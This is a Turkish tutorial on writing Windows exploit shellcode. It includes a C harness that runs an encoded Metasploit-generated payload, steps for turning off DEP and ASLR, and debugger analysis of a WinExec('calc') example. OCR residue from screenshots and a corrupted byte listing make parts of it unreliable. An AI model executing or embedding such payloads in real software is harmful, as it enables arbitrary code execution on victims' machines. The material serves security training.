

EXPLOIT SHELLCODE GELİŞTİRME



OSCP, CISSP, CISA, CEH, CIA, ISO27001 LA

İçindekiler

I. GİRİŞ	2
II. SHELLCODE TEST ARAÇLARIMIZ	4
III.STANDART BİR UYGULAMA	7
IV. SHELLCODE PROBLEMLERİ – VERİ ERİŞİMİ	15
V. MODÜL ADRESİNİN BULUNMASI	18
VI. FONKSİYON ADRESİNİN BULUNMASI	29
VII. SHELLCODE'UN GELİŞTİRİLMESİ	42
VIII. KÖTÜ KARAKTERLERDEN KURTULMA	53
IX. SHELLCODE KODLAMA (ENCODING)	60
X. BTRİSK Hakkında	71

I. GİRİŞ

Exploit shellcode'u nedir

Bir uygulamanın hafıza alanına kendi girdimizi yazabildikten ve uygulama akışını yönlendirme imkanını elde ettikten sonraki adım hedef uygulama prosesi içinde istediğimiz herhangi bir kodun çalıştırılmasıdır.

Exploit shellcode'u makine dilinde hedeflediğimiz prosesin hafıza alanına yazılacak ve istediğimiz işlemi gerçekleştirecek koddur.

Shellcode kısıtları ve aşma yöntemleri

Bellek taşma açıklıklarında en önemli kısıtlardan ilk ikisi shellcode içindeki kötü karakterler ve shellcode'un uzunluğu. Kötü karakterlere örnek olarak shellcode'umuzu hafızaya yazmak için C string fonksiyonlarının kullanıldığı durumlarda null karakterini, yani HEX "00" karakterini örnek verebiliriz. Shellcode'umuzun içinde yer alacak opcode'ların içinde null karakterinin bulunması halinde shellcode'umuzun hafızaya kopyalanması bu karakter ile karşılaşıldığında son bulabilir. Kötü karakterlerden assembly kodlama yöntemlerimizle veya encoding ile kurtulmak mümkün. Encoding yöntemini kullandığımızda kodun başına decode kodunu eklememiz gerekeceğinden shellcode'umuzun uzunluğu artacaktır.

Shellcode'un uzunluğu özellikle shellcode'umuzu yerleştirmek için çeşitli nedenlerden dolayı hafızada sınırlı yerimiz olması halinde ciddi bir problem haline geleceğinden burada da akıllı bir yaklaşıma çok ihtiyacımız olabilir.

Exploit shellcode çalışmamıza başlamak için gerekli ön bilgiler

Exploit shellcode geliştirme çalışmalarından önce stack tabanlı bellek taşma açıklıkları ile ilgili temel bilgilere ihtiyacınız olacaktır. PE dosya formatı, hafıza organizasyonu, stack'in işleyişi gibi konularda gerekli bilgileri edinmenizde büyük fayda bulunmaktadır. Doğrusu bu temel konulara hakim olmadan shellcode geliştirmek mümkün değil.

Bu konulara ek olarak belli seviyede Assembly dili hakimiyetine de ihtiyacımız olacak. Assembly'ye ne kadar hakim olursak geliştireceğimiz shellcode ile ilgili problemleri aşmak ve daha akıllı shellcode geliştirmek için avantaj kazanırız.

Shellcode geliştirme yetkinliğinin getireceği diğer kazanımlar

Bu çalışma sonunda kendi shellcode'umuzu geliştirebilir hale gelmenin yanı sıra Metasploit gibi başka bir kaynaktan edindiğimiz bir shellcode'u tersine mühendislik yöntemiyle inceleyebilmek için de gerekli altyapıyı oluşturmuş olacağız.

Shellcode geliştirme çalışmamızın sonunda zararlı yazılımlar için statik analiz yetkinliklerinin de bir kısmına hakim olacağız, çünkü daha sonra açıklayacağım kısıtlar dolayısı ile normalde derlenmiş PE dosyası içinde rahatlıkla gözlemleyebileceğimiz kütüphane ve fonksiyon isimleri shellcode'umuz içinde görülemeyecek. Bu yöntem zararlı yazılımlarda da aynen bu şekilde ancak zararlı yazılım analistinin çalışmasını zorlaştırmak amacıyla kullanıldığından zararlı yazılım incelemeleri sırasında size ciddi katkı sağlayacaktır.

Shellcode veya zararlı yazılımlarla yakından ilgili bir diğer konu da encoding konusu. Encoding zararlı yazılımlar içinde kullanılan binary kodun incelenmesini zorlaştırma amacıyla, shellcode geliştirme sürecinde ise daha önce bahsettiğim gibi kodun içinde bulunabilecek kötü karakterlerden kurtulmak için kullanılmaktadır. Eğer shellcode'umuz kötü niyetli olacaksa encoding yöntemi her iki amaç için de kullanışlı bir araç olacaktır elbette.

Geliştireceğimiz shellcode ile Metasploit shellcode'ları arasındaki farklar

Biz çalışmamız sırasında belli fonksiyonları Windows 7 ortamında çağıracak bir shellcode'u eğitim amaçlı olarak geliştireceğiz. Ancak Metasploit gibi bir çerçeve için shellcode geliştiriyor olsaydık shellcode'umuzun daha parametrik olmasını hedeflemeliydik.

Örneğin Metasploit Windows/Exec payload'unda çalıştırılacak olan komutu parametrik olarak belirleyebildiğimiz gibi.

Ayrıca çeşitli Windows versiyonlarında sorunsuz çalışacak bir kod geliştirmeyi de hedeflememiz kullanıcılar açısından daha kullanışlı olurdu. Metasploit'te Windows shellcode'umuzu üretirken Metasploit bize shellcode'un hangi platformda çalışması gerektiğini sormaz, çünkü ürettiği kod modern Windows işletim sistemlerinin hepsini destekler.

Bu çalışmada shellcode geliştirme ile ilgili temel konuları ve ihtiyaçları net olarak ifade edeceğiz, ancak geliştireceğimiz kodların çok alt seviyede olması ve bu kodların çalışması sırasında görselleştirme imkanları az olacağından dikkatinizi yoğunlaştırmanız gerektiğini ifade etmeliyim. Burada açıklayacağımız konuların kalıcı biçimde anlaşılabilmesi için kendi kuracağınız laboratuvar ortamlarında benzer çalışmaları yapmanız en etkili yöntem olacaktır.

II. SHELLCODE TEST ARAÇLARIMIZ

Geliştireceğimiz shellcode'ları test etmek için basit bir C kodu kullanacağız. Derlenmiş kodumuzu C uygulama diline uygun formatta bir değişkene atayacağız. Bir fonksiyon pointer'ı tanımladıktan sonra bu pointer'ı shellcode'umuzu yerleştirdiğimiz değişkenin hafızadaki adresine eşitliyoruz. Daha sonra söz konusu fonksiyonu çağırdığımızda veri olarak hafızaya yazdığımız shellcode'umuzu çalıştırmış olacağız.

```
    unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"

2. "\x31\xc9\xb1\x8e\xb0\xb6\x30\x43"
3. "\x14\x43\xe2\xfa"
4. "\x87\x7f\xd2\x3d\x83\x86\xb6\xb6"

    "\xb6\x3d\xc0\xba\x3d\xc0\xaa\x3d"
    "\xe8\xbe\x3d\xc8\x96\x3d\x80\x8e"
    "\xf9\xae\xc3\x45\xe5\xde\x55\xa8"

8. "\xa4\xa6\x5e\x97\xb6\xb6\xb6\x35"
9. "\x72\xb2\xed\xdc\xb6\xde\xd5\xd7"
10. "\xda\xd5\x3f\x57\xdc\xb6\xe7\x49"
11. "\x66\xe5\xde\x4e\x2f\x89\x8a\x5e"
12. "\xb2\xb6\xb6\xdc\xb6\x49\x66"
13. \x3d\xda\x92\xbe\x3d\xf3\x8a\x3d"
14. "\xe2\xb3\xce\xb7\x5c\x3d\xfc\xae"
15. "\x3d\xec\x96\xb7\x5d\xff\x3d\x82"
16. "\x3d\xb7\x58\x87\x49\x87\x76\x4a"
17. "\x1a\x32\x76\xc2\xb1\x77\x79\xb9"
18. "\xb7\x71\x5d\x42\x8d\xca\x92\xb2"
19. "\xc3\x55\x3d\xec\x92\xb7\x5d\xd0"
20. "\x3d\xba\xfd\x3d\xec\xaa\xb7\x5d"
21. "\x3d\xb2\x3d\xb7\x5e\x75"
22.;
23. int main(int argc, char **argv)
24. {
25.
        int(*f)();
26.
        f = (int(*)()) shellcode;
27.
        (int)(*f)();
28. }
```

test.c

Test için kullanacağımız uygulamamızı Visual Studio ortamında derleyeceğiz. Ancak veri saklanan alanlarda çalıştırma hakkını kaldıran linkleme opsiyonunu gevşeteceğiz. Aksi takdirde veri alanında saklayacağımız shellcode'umuzu çalıştıramayız.

0		and the second second second second second second second second second second second second second second second		Contract Name	
test - Microsoft Visual Studio Express 2013 for Windows Desktop			Q (3 Quick Launch (Ctrl+Q) P = d ×
FILE EDIT VIEW PROJECT BUILD D test Property Pages			3 ×		Fatih Emiral 👻 📧
0-0 8 4 4 7-9-1					
Configuration: Active(Release)	Platform: Active(Will	n32) • Configu	ration Manager	Solution Eveloper	* 1 ×
Global Scope) Common Properties	Entry Point				
unsigned char she	No Entry Point	No			
"\vfc\ve8\v89\v89	Set Checksum	No		Search Solution Explore	er (Ctri+ş)
VC++ Directories	Randomized Base Address	Yes (/DYNAMICBASE)		Solution 'test' (1)	project)
	Fixed Base Address			👘 External De	ependencies
X31 XCØ XAC X3C / Linker	Data Execution Prevention (DEP)	No (/NXCOMPAT:NO)		📁 Header File	es
"\xf0\x52\x57\x8b Input	Turn Off Assembly Generation	No	6	🚝 Resource F	Files
"\xc0\x74\x4a\x01 Manifest File	Unload delay loaded DLL Nobind delay loaded DLL		50	> to the Test.c	5
"\x3c\x49\x8b\x34 Debugging	Import Library				
"\x01\xc7\x38\xe0 Optimization	Merge Sections				
"\x8b\x58\x24\x01 Embedded IDL	Target Machine	MachineX86 (/MACHINE:X86)			
"\x04\x8b\x01\xd0 Windows Metadata	Profile	No			
"\xe0\x58\x5f\x5a Advanced	CLR Inread Attribute	Default image time			- 1 - 2
" Wee (NSE (NSE (NSE All Options ") Yee) Yee Command line	Key File	belaut image type		Properties	* + ×
(X00 (X00 (X00 (X00) Manifest Tool	Key Container			main vccoderunctio	n •
X68 X86 X95 XDd XML Document Generator	Delay Sign				
"\x05\xbb\x47\x13 > Browse Information	CLR Unmanaged Code Check			C++	
"\x00"; Dilid Events	Error Reporting	Promptimmediately (/ERRORREPORT:P	PROMPT)	(ivame) File	main c:\esa\kavnak\test.c
□ int main(int argc > Code Analysis	Preserve Last Error Code for Pinyoke			FullName	main
{	Image Has Safe Exception Handlers	Yes (/SAFESEH)		IsDefault	False
int(*f)():				IsDelete	False
f = (int(*))	Data Execution Prevention (DEP)			IsFinal	False
$(int)(x_{1})(x_{2})(x_{3})(x$	Marks an executable as having been test	ed to be compatible with Windows Data	Execution	IsInjected	False *
	Tevendon reader (Traceonin A (1990)			C++	
J		OK Cance	el Apply		
133 % - 4					
Error List Output					
Ready					

Yukarıda gördüğünüz uygulama içinde shellcode değişkeninin içinde Metasploit ile üretmiş olduğumuz shellcode var. Visual studio ile uygulamamızı assembly seviyesinde debug ederek bu değişken alanında bulunan verinin nasıl kod gibi çalıştırıldığını görelim.

test (Debugging) - Microsoft Visual Studio Express 2013 for Windows Desktop 🖓 🔹 🗗 🗙
EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP
- 〇 沼 🏩 💾 🤊 - C - / 🕨 Continue - Release Wink2 声 🔋 📜 🔳 🔕 🔿 4. 佐, 佐, 佐, 谷 🦕 上 田 🗵 🦄 📕 🐧 🦄 🦉
esse [10336] test-exe • 🔲 Suspend - Thread: [10328] Main Thread • 🔻 🐨 Stack Frame: main • 🖕
vy1 + 0 × 1 ≶
ss: 0x011A3018 - 🖸 Columns: Auto -
IA3018 27 27 27 27 27 27 27 27 27 27 27 27 27
(A3030) 17 17 17 17 17 17 17 17 17 17 17 17 17
<u>A3062 א א א א א א א א א א א א א א א א א א א</u>
mbly + X Test.
ss: main(int, char*") -
swing Options
2E0FFE 00 00 add byte ptr [eax],al
. c:\esg\kaynak\test.c
$18: \forall int(+i)(); \\ 0 \qquad (int(+i)) int(-int) $
15: $\tau - (\Pi(\tau)(t))$ shell(code) 20: $(i \tau t)(*t)(t)$.
2E1000 B8 18 30 2E 01 mov eax,12E3018h
2E1005 FF D0 call eax
21: }
1E1007 33 C0 xor eax,eax
/E1009 C3 ret
- 1: (ad (VCT0015)(CrT()7CW32/MIL5()1380)(S8CCR). C
ers + 0 x Watch1 + 0 x
= 6E09F62C EBX = 00000000 ECX = 0047A4C8 EDX = 00000000 ESI = 00000001 ▲ Name Value Type
DI = 00000000 EIP = 012E1000 ESP = 003EFA28 EBP = 003EFA64 EFL = 00000244
Registers Call Stack: Immediate Window Memory 2 Watch 1

Test kodumuz C dilinin kurallarını uygulamak amacıyla casting dediğimiz veri tipi dönüşümlerini uyguluyor. Yani fonksiyon olarak çalıştıracağımız veri alanının adresini bir fonksiyon pointer'ına dönüştürdükten sonra bu fonksiyonu çağırıyoruz. Ancak uygulamanın assembly karşılığına baktığımızda çok daha basit bir kod görüyoruz. Pencerede gördüğünüz gibi shellcode değişkenindeki verinin bir fonksiyon gibi çalıştırılması sadece shellcode değişkeninin adresinin EAX register'ına aktarılması ve bu adresin CALL edilmesinden ibaret. Shellcode geliştirme çalışmalarımızı yapmak için C ve Assembly dillerini kullanacağız. C derleyicisi olarak Visual Studio'yu, Assembly derleyicisi olarak Windows ortamında "NASM" assembler'ını kullanacağız.

Geliştirme çalışmalarımız sırasında C dilinin inline assembly imkanından da faydalanacağız.

Derlenmiş olan kodumuzda yer alan opcode'ları C dilinde onaltılık düzende ifade edilebilir şekle çevirme ihtiyacımız olacak. Bunun için şu basit Ruby script'i kullanacağız. Bu script girdi olarak aldığı dosyadaki her bir karakteri okuyarak C formatında onaltılık düzende standart output'a yazacak.

```
1. i=0
2. satirBoyu=8
3. toplamByteSayisi=0
4. File.open(ARGV[0].to_s, 'rb').each_byte do |b|
       if i == 0 then
5.
           printf '"'
6.
7.
       end
8.
       if i < satirBoyu then</pre>
           printf "\\x" + "%02x" % b
9.
10.
           i+=1
11.
           toplamByteSayisi+=1
12. end
13.
       if i == satirBoyu then
      print '"' + "\n"
14.
15.
           i=0
       end
16.
17. end
18. if not i == 0 then printf '"' end
19. printf "\n\nToplam byte say1s1:... %d" % toplamByteSay1si
```

hexyaz.rb



III. STANDART BİR UYGULAMA

Shellcode geliştirme çalışmamıza standart bir uygulamayı inceleyerek başlayacağız.

Önce calculator uygulamasını çalıştıran basit bir C uygulaması üzerinde çalışalım.

```
1. #include <windows.h>
2.
3. int main(int argc, char **argv)
4. {
5. WinExec("calc",0);
6. }
```

s.c

C dilinde geliştirdiğimiz uygulamanın derlenmiş kodunda yer alacak Opcode'ları shellcode oluşturmak için kullanmayı deneyeceğiz.

Kod karmaşıklığını azaltmak için kodumuzu release versiyonunda derleyeceğiz. Ayrıca stack security özelliğini ve debugger'da bu kodu incelediğimizde yerini daha rahat bulabilmak için ASLR özelliğini de kaldıracağız. ASLR özelliğini kaldırsak da Windows 7 yüklenen uygulamanın baz adresini farklılaştırdığından "Fixed Base Address" özelliğini de Evet olarak belirlememiz gerekiyor. Bu değişiklikleri sadece incelememizi kolaylaştırmak için yaptığımızı tekrar ediyorum.

s - Microsoft Visual Studio Exp			Q (3 Quick Launch (Ctrl+Q)	- 6 ×
FILE EDIT VIEW PROJECT S Property Pages	the same and			Fa	tih Emiral 👻 📧
0 - 0 18 4 1 12 Configuration: Active(Release)	Platform: (Active(Win32))	Configuration Manager			
	· · · · · · · · · · · · · · · · · · ·	configuration managers		Coloris Project	- 1 -
Sc → A (Global Scope) Common Properties A	Entry Point			Solution Explorer	4 4
General General	Set Checksum No		+	00000+2000+3	-
#INCIUAI Debugging	Base Address		-	Search Solution Explorer (Ctrl+ ş)	- 9-
VC++ Directories	Randomized Base Address No	o (/DYNAMICBASE:NO)		Solution 's' (1 project)	
	Fixed Base Address Ye	es (/FIXED)		External Dependencies	
	Data Execution Prevention (DEP) Ye	es (/NXCOMPAT)	_	# Header Files	
Preprocessor	Turn Off Assembly Generation No	o dhy		🚎 Resource Files	
Code Generation	Nobind delay loaded DLL		_	Source Files	
WINI Language	Import Library		-	P ** S.C	
Output Files	Merge Sections				
Browse Information	Target Machine Ma	achineX86 (/MACHINE:X86)	_		
Advanced	Profile No	D			
All Options	CLR Image Type De	efault image type			
∠ Linker	Key File	and the second se		Properties	• 4 ×
General	Key Container			main VCCodeFunction	-
Input	Delay Sign				
Manifest File	CLR Unmanaged Code Check			□ C++	
System	SectionAlignment	omptimmediately (/EKKOKKEPORT:PROMPT)		(Name) main	
Optimization	Preserve Last Error Code for PInvoke (File c:\esg\kayı	nak\s.c
Embedded IDL	Image Has Safe Exception Handlers Ye	es (/SAFESEH)		IsDefault False	
Windows Metadata				IsDelete False	
All Options	Fixed Base Address			IsFinal False	
CommandLine	Creates a program that can be loaded only at	t its preferred base address (/FIXED[:NO])		IsInjected False	
				Ichline Falce	
		OK Cancel Apply	-		
177 % •			*		
Error List Output					
Ready					INS

Kodumuzu derledikten sonra IDA Pro'da açalım.

0	superior ballers in the second second	
IDA - C:\ESG\s\Release\s.exe	The second second second second second second second second second second second second second second second se	
File Edit Jump Search View Debugger Options Windows Help		
	No debugger 🔹 🐑 🔐 <table-cell-rows> 🕅</table-cell-rows>	
Library function 📰 Data 🧧 Regular function 📕 Unexplored 📕 Instruction 📃 External symbol		
📝 Functions window 🛛 🗗 🗙 🔃 IDA View-A 🔯 💽 Hex View-A 🗷	🗚 Structures 🖸 🛱 Enums 🔯 🛐 Imports 🔯 📝 Exports 🔇	
Function name		
<u>f</u> tmainCRTStartup		
J SLN31		
<u>f</u> _CxxUnhandledExceptionFilter_EXCEPTIO	; +	
<u>F</u> _XcptFilter	; I Convight (c) 2813 Hex-Raus. (support@bex-raus.com)	
T amsg_exit	; Evaluation version	
T sub_4012E0	; +	
7 IsNonwritableinCurrentimage		
₹ ValidateImageBase	. Input CRC32 . 84824782	
J sub_401431	, more shore a storage	
J sub_401509	; File Name : C:\ESG\s\Release\s.exe	
4 <u> </u>	; Format : Portable executable for 80386 (PE)	
Line 1 of 35	; Inagebase : 400000 : Section 1. (virtual address 88881888)	
🚓 Graph overview 🗆 🗗 🛪	; Virtual size : 0000084C (2124.)	
	; Section size in file : 00000000 (2560.)	
	; Offset to raw data for section: 00000400	
	; Flags bubbbbloc: Text Executable Readable_/	
	: OS tupe : MS Windows	
	: Annlication tune: Executable 32bit	i I
100.00% (0,0) 00000400 00401000: main		
Output window		0 8 ×
You may start to explore the input file right now.		*
Can not set debug privilege: Not all privileges or groups referenced are as	ssigned to the caller.	
Tunes annied to 1 names		
Using FLIRT signature: Microsoft VisualC 2-11/net runtime		
Propagating type information		_
Function argument information has been propagated		
THE INICIAL AUCUANALYSIS HAS DEEN FINISHED.		
IDC		
AU: idle Down Disk: 223GB		

IDA Pro start-up sequence veritabanı sayesinde farklı derleyicilerin main fonksiyonunu çağırmadan önce ürettiği kodu tanıyarak öntanımlı olarak bize main fonksiyonunu görüntüler. IDA Pro'da IDA View penceresinde görülen assembly instruction'larının hafızada bulunacağı Virtual Address değerlerini görmek için Options/General menüsü içinde "Display disassembly line parts" bölümündeki "Line prefixes" seçeneğini seçebiliriz. Burada main fonksiyonunun (uygulamanın ASLR desteği olmaması kaydıyla) HEX "40 10 00" adresinden başladığını görüyoruz. Statik analiz yaptığımız, yani uygulamayı hafızaya yüklemediğimiz, için uygulama ASLR seçeneği ile derlenmiş olsa bile zaten uygulamanın tercihi olan baz adres IDA tarafından dikkate alınmaktadır. Derlenmiş uygulamamızdaki opcode'ları görüntülemek içinse yine Options/General menüsü içinde "Display disassembly line parts" bölümündeki "Number of opcode bytes" değerini "8" olarak belirleyebiliriz.

0	the local day of the local day is not	
DA - C:\ESG\s\Release\s.exe		
File Edit Jump Search View Debugger Options Windows Help		
	No debugger 🔹 🐄 💽 🔐	9+ g×
Library function 📰 Data 📃 Regular function 📰 Unexplored 📕 Instruction 📰 External symbol		
📝 Functions window 🛛 🗗 🗙 📳 IDA View-A 🔯 💽 Hex View-A	🔀 🖪 Structures 🔀 🕃 Enums	🛛 🕅 Imports 🔝 📝 Exports 🕄
Function name	00401000	; Segment type: Pure code
. 📝 main	00401000	; Segment permissions: Read/Execute
T tmainCRTStartup	89491999	accume est text
T SLN31	88481888	coro 481888h
_CxxUnhandledExceptionFilter(_EXCEPTIO	00401000	assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:noth:
✓ _XcptFilter	00401000	
📝 _amsg_exit	00401000	
📝 sub_4012DE	00401000	int edgel main(int area const char arayou const char a
J sub_4012F0	88481888	main proc near
JIsNonwritableInCurrentImage	00401000 6A 00	push 0 ; uCmdShow
J	00401002 68 00 21 40 00	push offset CmdLine ; "calc"
f sub_401431	00401007 FF 15 00 20 40 00	call ds:WinExec
<u>f</u> sub_401509	0040100D 33 C0	xor eax, eax
· · · · ·	0040100F	main endo
Line 1 of 35	0040100F	
A Graph overview 🛛 🗗 🗙		
100 005 / 222 /225 /2540 2580 0000000	00401000	
	Jordious. Main	
		U # ×
You may start to explore the input file right now.		1
Can not set debug privilege: Not all privileges or groups reference	d are assigned to the caller.	
Type library 'Vcowin' loaded. Applying types		
Using FLIRT signature: Microsoft VisualC 2-11/net runtime		
Propagating type information		
Function argument information has been propagated		
INE INICIAL AUCOANALYSIS NAS DEEN FINISHED.		
IDC		
AU: idle Down Disk: 223GB		

Test etmek istediğimiz fikrimiz bu opcode'ları doğrudan shellcode olarak kullanıp kullanamayacağımız.

İlk instruction'ımız olan "push 0" problemsiz olarak başka bir prosesin hafızasına yazıldığında çalışacaktır. Ancak ikinci instruction olan "push offset CmdLine" instruction'ımızda şöyle bir problemimiz var. CmdLine offset değeri üzerine çift tıkladığımızda bu verinin ".rdata" section'ında HEX "40 21 00" adresinde olduğunu görüyoruz.



İkinci instruction'ı oluşturan bu opcode'ları aynen kendi shellcode'umuzda kullanırsak shellcode'un içinde çalışacağı proses içindeki HEX "40 21 00" adresi stack'e yazılacak. Bu adreste de bizim kullanmak istediğimiz veri bulunmayacak. Dolayısıyla bu ihtiyacımızı karşılayabilmek için ihtiyaç duyacağımız verilerin stack'e yükleyeceğimiz shellcode'umuzun içinde bulunması gerekir. Ayrıca shellcode'umuzu başka bir uygulamanın hafızasına yazdığımızda adresini kullanmak istediğimiz verimizin hangi adresten başlayacağını tahmin etmemiz mümkün olmayacaktır. Bu nedenle bu adresi dinamik olarak tespit etmenin de bir yolunu bulmamız gerekecek.

Üçüncü instruction Winexec fonksiyonunu çağırıyor.

	the largest the Westman of	
DIDA - C\ESG\s\Release\s.exe	and the second se	
File Edit Jump Search View Debugger Options Windows Help		
		04 @X
		8° 8'
Library function Data Regular function Linexplored Instruction External symbol		
F Functions window 🛛 🗗 🗙 🕕 IDA View-A 🔯 🧿 Hex View-A	🗙 🖪 Structures 🔀 🏗 Enums	Imports I Exports I
Euroction name	00401000	, hpt
7 main	00401000	.686p
T tmainCRTStartun	00401000	I MAX AND A MARK AND A MARK AND A MARK AND A MARK AND A MARK AND A MARK AND A MARK AND A MARK AND A MARK AND A
7 SIN31	00401000	.model flat
CyslinbandledEvcentionEilter(EXCEPTIO	00401000	
F XentFilter	88481888	· Segment tune: Pure code
7 amsg exit	00401000	; Segment permissions: Read/Execute
7 sub 4012DE	00401000	text segment para public 'CODE' use32
T sub 4012F0	00401000	assume cs:_text
J IsNonwritableInCurrentImage	00401000	;org 401000h
ValidateImageBase	00401000	assume es:notning, ss:notning, ds:_data, +s:notning, gs:notn
	66461866	
7 sub_401509 *	00401000	
* <u> </u>	00401000	; intcdecl main(int argc, const char **argv, const char *
Line1 of 35	00401000	_main proc near
🖶 Granh avanuaru 🔲 🖶 X	00401000 6A 00	push 0 ; uCndShow
		push offset UndLine ; "calc"
	88481880 33508	YOF PAY, PAY
	8848188F C3-	retn
	0040100F	main endp
	0040100F	
100.00% (-333,333) (410,296) 00000407 (0401007: main+7	
Output window		□ # ×
You may start to explore the input file right now		*
Can not set debug privilege: Not all privileges or groups reference	i are assigned to the caller.	
Type library 'vcówin' loaded. Applying types		
Types applied to 1 names.		
Using FLIRT signature: Microsoft VisualC 2-11/net runtime		
Propagating type information		
The initial autoanalusis has been finished		
IDC		
AU: idle Down Disk: 223GB		

Bu fonksiyon uygulamanın import ettiği bir kütüphanenin hafızada kapladığı alan içinde bulunacak bir fonksiyon. Bu noktada da birkaç problemle karşılaşıyoruz.

Birincisi bu instruction import adres tablosundaki bir noktada bulunacak bir adrese atlamayı sağlıyor. Yani call instruction'ının yanında aslında çağıracağımız fonksiyonun adresinin bulunduğu adres bulunuyor ve neticede bu adreste bulunan adres bilgisi kullanılarak fonksiyon çağrılıyor. IDA Pro'da bu gösterimi net olarak ifade edemiyorum, ama birazdan uygulamamızı Immunity Debugger ile çalıştıracağız, burada instruction'ın manasını daha net bir şekilde göreceğiz. Aynen "calc" verisinin adresinde olduğu gibi shellcode'umuzu yükleyeceğimiz uygulamanın hafıza alanında bu adreste hangi verinin olacağını bilemeyiz. "Winexec" fonksiyon adına çift tıkladığımızda bu fonksiyonun adresinin çalışma anında yazılmış olacağı adrese gidebiliriz. IDA Pro ile yaptığımız incelemenin statik analiz olduğunu ve Import Adres Tablo'sunun çalışma anında dolacağını hatırlatmak isterim.



Üçüncü instruction ile ilgili ikinci problemimiz kullandığımız uygulamanın "Winexec" fonksiyonunun içinde bulunduğu kütüphaneyi import etmiş olması, ancak shellcode'umuzu hafızasına yazacağımız uygulamanın bu kütüphaneyi yüklememiş olması ihtimali. Bu durumda shellcode'umuz içinde "Winexec" fonksiyonunu barındıran modülü de yüklememiz gerekecek. PEView'dan çalıştırılabilir dosyamızı incelediğimizde .rdata section'ı içinde IMPORT Name Table tablosu içinde "Winexec" fonksiyonunun "KERNEL32.dll" kütüphanesi içinde bulunduğunu görüyoruz. Bu örnekte şöyle bir şansımız var, her Windows uygulaması hafızaya yüklendiğinde "Kernel32.dll" modülü de işletim sistemi tarafından hafızaya yüklenir. Bu nedenle bizim shellcode'umuzda "Kernel32.dll" kütüphanesini aktif olarak yükleme ihtiyacımız kalmadı. Ancak bu kütüphane içinde yer alan "Winexec" fonksiyonunun adresini bulma ihtiyacımız halen var. İşte bu çok kolay olmayacak, ama mümkün olduğunu göreceğiz.

Daha sonraki iki instruction fonksiyon dönüş değerinin saklanacağı EAX register'ının sıfırlanması ve fonksiyon dönüşünde main fonksiyonunu çağıran fonksiyonda kalınan instruction'a dönebilmek için gerekli RET instruction'ı. Bunlara shellcode içinde ihtiyacımız olmayacak, ama yine de uygulamanın sorunsuz olarak sonlandırılmasını istersek shellcode'umuzun bitişinde temiz bir proses sonlandırma işlemi gerçeleştirebiliriz. Bu örnek için bu durumu önemsemeyeceğiz, ancak genel amaçlı bir shellcode geliştirmek için bu işlemi de dikkate almamız gerekir.

Derlenmiş kodumuzu bir de Immunity Debugger'da görerek problemlerimizin tekrar üzerinden geçelim.

Immunity Debugger - [CPU]							
C File View Debug Plugins ImmLib Options W	The second second second second second second second second second second second second second second second se					×	_ 8 ×
>3 ■ X 4 × ▶ II ▶ 4 2 1 → 4 1	NAME AND ADDRESS OF TAXABLE PARTY.	and the second second	and the second second	100 C			
	🗢 🍌 🕨 Computer 🕨 Windows7_OS (C:) 🕨	ESG > s > Release >		Search Release		Q	<
Ormanic	a a 🗐 Open New folder				No 191	0	
organi	e e i i open i vew rolder				3 · LW		
	Name	Date modified	Туре	Size			
	🎉 s.tlog	01.05.2014 10:45	File folder				
1	s.Build.CppClean.log	01.05.2014 10:45	Text Document	1 KB			
	s.exe	01.05.2014 10:45	Application	6 KB			
da 👘	s.id0	01.05.2014 10:45	ID0 File	96 KB			
	🗋 s.idl	01.05.2014 10:45	ID1 File	0 KB			
	📄 s.log	01.05.2014 10:45	Text Document	2 KB			
	🗋 s.nam	01.05.2014 10:45	NAM File	0 KB			
	🖹 s.obj	01.05.2014 10:45	Source Browser D.	51 KB			
	🗎 s.pdb	01.05.2014 10:45	Source Browser D.	235 KB			
	vc120.pdb	01.05.2014 10:45	Source Browser D.	68 KB			
Address Value ASCI Commen							~
			0.04.2014.15.20				
	S.exe Date modified: 01.05.2014 109	45 Date created: J	19.04.2014 15:28				
	Appression Size 0,00 KB						
	100						
	-						-
Need support? wight http://fowum_immunituing_com							Readu
support. visit heep. roran. Innunity inc. com							maduy

Immunity debugger exploit geliştirme ve tersine mühendislik için sıklıkla kullanılan bir debugger. Ayrıca bu debugger için geliştirilmiş ve exploit geliştirme sürecini destekleyen script'leri de destekliyor. Ancak disassembly konusunda IDA Pro kadar iyi olmadığı için "main" fonksiyonunu bulma konusunda IDA kadar işimizi kolaylaştırmıyor. Immunity'de ilk olarak "F9"a basarak kullanıcı koduna kadar ilerleyelim. IDA Pro'dan hatırlarsanız "main" fonksiyonumuz HEX "40 10 00" adresinden başlıyordu. Tabi bunun debugger'da da geçerli olması için uygulamamızı ASLR desteği olmadan derlemiştik. Disassembly penceresinde sağ klikleyerek "Go to" ve "Expression" seçeneğine "40 10 00" adresini girerek "main" fonksiyonumuzun başına ulaşabiliriz.

🚯 Immunity Debugger [CPU - main thread, module s]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 6 X
🔁 🏇 🗏 🔣 ¥ 🕨 📕 🖣 📲 🛃 📲 🚽 📲 lemtwhc Pkbzrs ? 🛛 Immunity: Consultin	ng Services Manager
00401000 S 6A 00 PUSH 0	<pre>ShowState = ^ Registers (FPU) <</pre>
00401002 . 68 00214000 PUSH OFFSET s.??_C0_04GLMIJPDJ0calc?\$AA	CmdLine = "C EAX 75673378 kernel32.BaseThreadInitThunk
00401007 . FF15 00204000 CALL DWORD PTR DS:[<&KERNEL32.WinExec>]	-WinExec ECX 00000000
0040100D . 33CO XOR EAX, EAX	EDX 00401279 s. <moduleentrypoint></moduleentrypoint>
0040100F -, C3 RETN 00401010 R8 4D530000 MOV FAX 534D	EBX 7EFDE000
00401010 . 66:3905 00004(CMP WORD PTR DS:[400000] AX	ESP 0018FF8C
0040101C . 74 04 JE SHORT 5.00401022	EBF 00000000
0040101E > 33C0 XOR EAX, EAX	EDI 00000000
00401020 . EB 34 JMP SHORT s.00401056	
00401022 > 8B0D 3C004000 MOV ECX, DWORD PTR DS: [40003C]	EIP 00401279 s. <moduleentrypoint></moduleentrypoint>
00401028 . 81B9 00004000 CMP DWORD PTR DS:[ECX+400000],4550	C 0 ES 002B 32bit 0(FFFFFFFF)
00401032 . 75 EA JNZ SHORT S.0040101E	P 1 CS 0023 32bit 0(FFFFFFFF)
00401034 . B8 0B010000 MOV EAX,10B	A 0 SS 002B 32bit 0(FFFFFFFF)
00401039 . 66:3981 18004(CMP WORD PTR DS:[ECX+400018],AX	Z 1 DS 002B 32bit 0(FFFFFFFF)
